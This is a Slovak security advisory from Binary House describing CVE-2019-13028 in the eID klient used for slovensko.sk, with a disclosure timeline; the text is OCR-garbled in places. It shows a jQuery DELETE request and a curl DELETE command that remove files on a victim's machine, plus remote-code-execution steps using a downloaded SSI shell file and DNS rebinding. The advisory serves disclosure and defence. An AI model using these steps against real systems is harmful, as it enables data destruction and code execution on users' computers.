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1 Uvod

Spolocnost Binary House (BHVR) identifikovala zranitelnosti v produkte elD klient vo verzii
3.0.0 a nizsie.

2 Zhrnutie

Na prihlasenie do portalu slovensko.sk sa pouziva program elD klient, ktory je lokalne
nainstalovany na pocitaci pouZivatela. Tento program obsahuje jednoduchy open-source
webovy server civet-webserver, ktory je odvodeny od webového servera Mongoose a pocuva
na TCP porte 15480. Z dévodu zlej implementacie civet-webservera do elD klienta je mozné
vzdialené spustenie (Skodlivého) kédu, alebo vymazanie suborov na pocitaci klienta. Na
zneuZitie tejto zranitelnosti sa vyZaduje interakcia pouzivatela, ktory musi navstivit web
stranku alebo otvorit subor. Vjednom Specifickom pripade exploitacie nie je potrebna
interakcia pouzivatela.

3 Podrobnosti o zranitelhosti

Na spracovanie HTTP poZiadaviek sluZi funkcia handle_request() v ramci ktorej je metdda
OX6AAELE20 -> OX6AAE20DO -> HttpServer::handleEvent, ktora spraciva nasledujuce
poZiadavky (application's endpoints):

/logo
/certificatelssuingProcess
/cardUpgradeProcess
/?authnid

/?tcTokenURL
/eSign/activatePIN
/eSign/signpkcs10

Ak sa spracuje poziadavka, ktora smeruje na jeden z uvedenych end pointov, program skoci
na epilog funkcie handle_request(), na adresu @x6AAFQ40E. Problém spociva v tom, Ze ak
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HTTP poziadavka je mimo hore uvedeného zoznamu (end pointov), program pokracuje dalej
na adrese Ox6AAFFBB7 vo funkcii zodpovednej za spracovanie poziadaviek.

¥

Tocal-http-interface. 6AAEFFSF
test ebx,ebx
je local-http-interface. 6AAEFFET

L 3
Tocal-http-interface. GAAEFFS3

mov eax,dword ptr ds:[ebx+488] ; eax:HttpServer:: “wftable"
test eax,eax ; eax:HttpServer:: wvftable'

je local-http-interface. 6AAEFFET

L 4
Tocal-http-interface. 6AAEFFSD

mov eax,dword ptr ds:[eax+80] ; eax:Httpserver:: wvftable'
test eax,eax ; eax:Httpserver:: vftable'

je Tlocal-http-interface. 6AAEFFET

Y

lTocal-http-interface. GAAEFFAY

push ebx

push 0

call =ax ; GAAE1EZ2D

add esp,s

test eax,edx ; eax:Httpserver:: wftable'
jne local-http-interface. 6AAFD40E

"14’ ¥

local-http-interface. GAAEFFET i

mov eax,dword ptr ds:[ebx+10] ; eax:HttpServer:: wvftable'
mov ecx,local-http-interface. 6AE2E8E30 ; GAB2SE30: "OPTIONS"
nop

Obrdzok 1 - Image base: 0x6AAD000O (local-http-interface.dll)

Sucastou tejto funkcii je kod na spracovanie a zobrazovanie dynamického obsahu pomocou
CGI (Common Gateway Interface) / SSI (Server Side Includes) a spracovanie problematickych
HTTP metdd, ktoré si jednotlivo rozoberieme v dalSej Casti reportu:

m  DELETE
PUT
DELETE

Metdda DELETE slUZi na zmazanie zdroja (suboru) uvedeného v URL adrese.
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mongoose.c (Zdrojovy kdd zodpovedny za spracovanie metddy DELETE)

3119 int mg remove(const char *path) ({
3120 wchar t wbuf [PATH MAX];
3121 to _unicode(path, wbuf, ARRAY SIZE (wbuf))

3122 return DeleteFileW (wbuf) ? 0 : =1;

3123 }

6741 } else if (!strcmp(ri->request method, "DELETE")) {
6742 if (mg remove(path) == 0) {

6743 send http error(conn, 200, NULL, "");

PUT

Metdda PUT sluzi na ulozenie dat obsiahnutej v tejto poZiadavke do suboru uvedeného v
URL adrese.

mongoose.c (Zdrojovy kéd zodpovedny za spracovanie metody PUT)

5716 static int forward body data(struct mg connection *conn, FILE *fp,

5717 struct mg connection *dst conn, int
send error on fail) {

5718 const char *expect;

5719  char buf[DATA COPY BUFSIZ];

5720 int to _read, nread, success = 0;

5721

5722 expect = mg _get header(conn, "Expect");
5723 MG _ASSERT (fp '= NULL);

5724

5725 // content len==-1 is all right; it's Jjust either Transfer-Encoding
or a HTTP/1.0 client.

6226 if (!strcmp(conn->request info.request method, "POST") ||

6227 !'strcmp (conn->request info.request method, "PUT")) {

6228 send http error(conn, 411, NULL, "");

6278 static void put file(struct mg connection *conn, const char *path) {
6279 struct mgstat st;

6280 const char *range;

6281 int64 t rl, r2;

6282  FILE *fp;

6283 int rc;

6284

6285 if (mg is producing nested page (conn))

6286 return;

6287 mg_set response code(conn, mg stat(path, &st) == 0 ? 200 : 201);

6288
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6289 if ((rc = put dir(path)) == 0) {

6290 mg write http response head(conn, 0, 0);

6291 } else if (rc == -1) {

6292 send http error(conn, 500, NULL,

6293 "put dir(%s): %s", path, mg strerror (ERRNO)) ;
6294 } else if ((fp = mg fopen(path, "wb+")) == NULL) ({

6295 send http error(conn, 500, NULL,

6296 "fopen(%s): %s", path, mg strerror (ERRNO)) ;
6297 } else {

6298 set close on exec(fileno(fp))

6299 range = mg_get header(conn, "Content-Range");

6300 rl = r2 = 0;

6301 if (range !'= NULL && parse range header(range, &rl, &r2) > 0) {
6302 mg_set response code(conn, 206);

6303 if (fseeko(fp, rl, SEEK SET) == -1) {

6304 send http error(conn, 500, NULL,

6305 "fseeko(%s, %" PRId64 "): %s", path, rl, mg strerror (ERRNO)) ;
6306 (void) mg fclose(fp);

6307 return;

6308 }

6309 }

6310 if (forward body data(conn, fp, NULL, 1)) {

6311 mg write http response head(conn, 0, 0);

6312 }

6313 (void) mg fclose(fp) ;

6314 }

6315 }

6735 } else if ((!strcmp(ri->request method, "PUT") ||

6736 !'strcmp (ri->request method, "DELETE")) &&

6737 is_authorized for put(conn) '= 1) {

6738 send authorization request(conn) ;

6739 } else if (!strcmp(ri->request method, "PUT")) {

6740 put file(conn, path);

Na spracovanie PUT metddy sa vola funkcia put_file(), po Uspesnejidentifikacii metddy na
riadku 6739 z hore uvedeného zdrojového kédu. Nasledne sa na riadku 6294 vola funkcia
mg_fopen(), ktora vytvori subor (datovy prud) ana riadku 6310 sa vola funkcia
forward_body_data(), ktora je zodpovedna za zapis obsahu do vytvoreného suboru. Avsak
v zdrojovom kéde sa nachadza podmienka na riadku 6226 a 6227, ktora overuje ¢i HTTP
metdda je POST alebo PUT. Ak je tato podmienka splnena, tak sa zavola funkcia
send_http_error() ak zapisu obsahu do suboru neddjde. Z tejto analyzy vyplyva, Ze s
validnou PUT poZiadavkou nie je moZne vykonat zapis, ale len vytvorit prazdny subor.
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"E
mow ecx, offset aPut_2 ; "PUTY
moy eax, edi
9
P
loc_6AREDB2T:
moy dl, [eax]
Chp dl, [ecx]
jnz short loc_G6RAREDBNT
1
P
test dl, dl
jz short loc_6RAREDBA3
|
[l 1 [
mow dl, [eax+1]
chp dl, [ecx+1]
jnz short loc_G6RAREDBLT

*J

add eax, 2
add eCx, 2
test dl, dl
short loc_G6RAREDB27

+'=|-

e "™E
loc_ G6AREDBYE : loc_6AREDBY4T :
®or 2ax, eax shb eax, eax
jnp short loc_6RAREDBALE| [sbb eax, BFFFFFFFFh
| |
L 2 ]
e
loc_GAREDBAYLE :
test eax, eax
jz loc_6AREDDGE
|
¥ R
e ™E
test ebp, ebp
jz short loc_6RAREDBYA| (loc_6AREDDGE :
push offset unk_G6ABZBCCT
push 19Bh
push esi
oK edx, edx
call sub_G6ARERBEA
add esp, HCh
mow eax, ehx
pop edi
pop ebp
pop ebx
moy ecx, [esp+2@i8h+var_#]
®or BCY, BSp
call B security_check_cookie@4 ;  security_check _cookie{x)
add esp, 2818h
retn

Obrdzok 2 - Istrcmp(conn->request_info.request_method, "PUT")
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SSI1/ CGl

Civit-webserver podporuje dve direktivy SSI (Server Side Includes), include a exec
v suboroch s priponami shtml a shtm. Vpripade CGlI (Common Gateway Interface)
integrovany web server podporuje spustanie binarnych suborov s priponami cgi, pl a php.

mongoose.c (Zdrojovy kéd zodpovedny za spracovanie CGI/SSI)
438 "C", "cgi pattern", W5 L @gil | #% o pl§ | *% , jplp$™ ,
445 "s", "ssi pattern", Weses - eiaenl S {[ 555 SlaemSW

6767 #if !defined(NO CGI)
6768 } else if (match string(get conn option(conn, CGI_EXTENSIONS),

6769 -1,

6770 path) > 0) {

6771 if (strcmp(ri->request method, "POST") &&

6772 strcmp (ri->request method, "GET")) {

6773 send http error(conn, 501, NULL,

6774 "Method %s is not implemented", ri->request method) ;
6775 } else {

6776 handle cgi request(conn, path);

6777 }

6778 #endif // !NO_CGI
6779 } else if (match string(get conn option(conn, SSI_ EXTENSIONS),

6780 -1,

6781 path) > 0) {

6782 handle ssi file request(conn, path);

6783 } else if (is not modified(conn, &st) &&

6784 304 == mg_set response code(conn, 304)) {
6785 send http error(conn, 304, NULL, "");

6786 } else {

6787 handle file request(conn, path, &st);

6788 }

4 Exploitacia

Zmazanie / prepisanie suborov

Vzdialené zmazanie alebo prepisanie suboru na pocitaci pouzivatela umoZznuju hore uvedené
implementované a dostupné HTTP metédy DETELE alebo PUT pomocou JavaScript objektu
XMLHttpRequest (XHR) cez webovy prehliadac. KedZe ide o medzi-doménovu poZiadavku,
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tato poziadavka je zablokovana politikou CORS (Cross-Origin Resource Sharing). Toto
obmedzenie je mozné Uspesne obist pomocou techniky DNS rebinding.

delete.html (Cast JavaScript/jQuery kédu, pomocou ktorého sa po3le XHR poZiadavka s
metédou DELETE)
$.ajax ({
type: 'DELETE',
url: 'http://127.0.0.1:15480/test.txt"',

success: function() {
alert ('Subor zmazany!')

}
})

Na Linuxe a MacOS je mozné odstranit/prepisat subor aj bez interakcii pouzivatela a to z
dovodu Ze sluzba elD klienta (EAC_MW_klient) pocCuvajuca na TCP porte 15480 je dostupna
na vsetkych lokalnych IP adresach pocitaca (0.0.0.0) ako to dokazuje dole uvedeny vypis z
netstatu. Verzia elD klienta pre Windows pocuva len na localhoste.

marek@test:~# netstat -tulpn | grep 15480
Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tecp 0 0 0,0.0,0315480 0,0.0,08°% LISTEN 3739/EAC_MW klient

Zaslanie HTTP poZiadavky programom curl s metédou DELETE na zmazanie suboru na
vzdialenom pocitaci:

marek@test:~# curl -X DELETE http://192.168.1.198:15480/test.txt

<!DOCTYPE html PUBLIC "-//W3C//DID XHTML 1.0 Strict//EN" "DID/xhtmll-
strict.dtd"><html><head><meta http-equiv="Content-Type" content="text/html;

Video, ktoré demonstruje zneuZitie zranitelnosti je dostupné na URL adrese:

m  https://www.binary.house/eid/eid_delete_demo.mp4



https://www.binary.house/eid/eid_delete_demo.mp4
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Vzdialené spustenie kédu

Spracovanie SSI/CGI skriptov v ramci elD klienta umoZnuje vzdialené spustenie Skodlivého
koédu s pravami prihlaseného pouzivatela. Z dévodu nefunkénosti HTTP metddy PUT, ktora
by umoznila nahrat subor, je nutné pouzit alternativnu metédu. Na demonstraciu spustenia
kodu sa pouzije popularna linuxova distribucia Ubuntu s prehliadacom Google Chrome (plne
aktualizované verzie). V pripade Linuxu je DOCUMENT_ROOT pre integrovany web server
domovsky adresar prihlaseného pouzivatela. Toto sa da vyuZit v kombinacii s automatickym
stahovanim suborov vo webovom prehliadaci Chrome.

Kroky na vzdialené spustenie kédu:

1. Automatické stiahnutie suboru (SSI alebo CGl) do adresara Downloads pomocou
JavaScriptu.

2. GET poziadavka na localhost:15480 s URL cestou na stiahnuty subor, napriklad:
/Downloads/shell.shtml

Video, ktoré demonstruje zneuzitie zranitelnosti je dostupné na URL adrese:

m https://www.binary.house/eid/eid rce demo.mp4

5 Kredit

Marek Alak3a zo spoloc¢nosti Binary House.

6 O spolocnosti

Binary House je slovenska spolocnost so sidlom v Bratislave, ktora poskytuje sluzby v oblasti
ofenzivnej IT bezpecnosti. Pomaha svojim klientom identifikovat a opravit ich zranitelné
miesta v aplikaciach, sietach a systémoch. Medzi poskytované sluzby patri penetracné
testovanie, bezpecnostné audity, reverzné inZinierstvo, vyvoj PoC / Exploitov a utoky
pomocou socialneho inzZinierstva. Pri nahlasovani zranitelnosti sa riadi podla pravidiel
zverejnovania zranitelnosti.
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7 Casova os nahlasenia zranitelnosti

27.02.2019
28.02.2019
28.02.2019
01.03.2019

01.03.2019
02.03.2019
04.03.2019
07.03.2019
24.06.2019
25.06.2019
27.06.2019
28.06.2019
08.07.2019

Prvotny kontakt s GOV CERT SK

GOV CERT SK bol informovany o zranitelnostiach

GOV CERT SK potvrdil prijatie reportu

GOV CERT SK informoval Ministerstvo vnutra SR ako vlastnika elD a
narodnu / vladnu jednotku CSIRT

Dakovny telefonat zo spolo¢nosti DXC Technology

Vydané opravené verzie elD

Zverejnena tlacova sprava Ministerstva vnutra SR

Stretnutie na UPVII - Sekcia kybernetickej bezpe&nosti
Stretnutie na Urade vlady SR

Zverejnené detaily o zranitelhostiach na web stranke CSIRT SK
Zaslana ziadost MITRE o pridelenie CVE

Pridelené CVE-2019-13028

Zverejneny report BHVR2019-01

8 Odkazy

https://www.csirt.gov.sk/aktualne-7d7.htmI?id=194&type=0

https://www.csirt.gov.sk/doc/eid klient tlacova sprava.pdf

https://cve.mitre.org/cgi-bin/cvename.cgizname=CVE-2019-13028

https://www.minv.sk/?tlacove-spravy&sprava=pouzivatelom-e-sluzieb-automaticky-

aktualizujeme-aplikaciu-pre-elektronicky-obciansky-preukaz

9 Kontakt

= www.binary.house

m info@binary.house

Verejny GPG kluc je dostupny na https://www.binary.house/binaryhouse.asc.

Odtlacok kltuca: A@96C3DD77A5410EF3C42F30941C43545BE716D0
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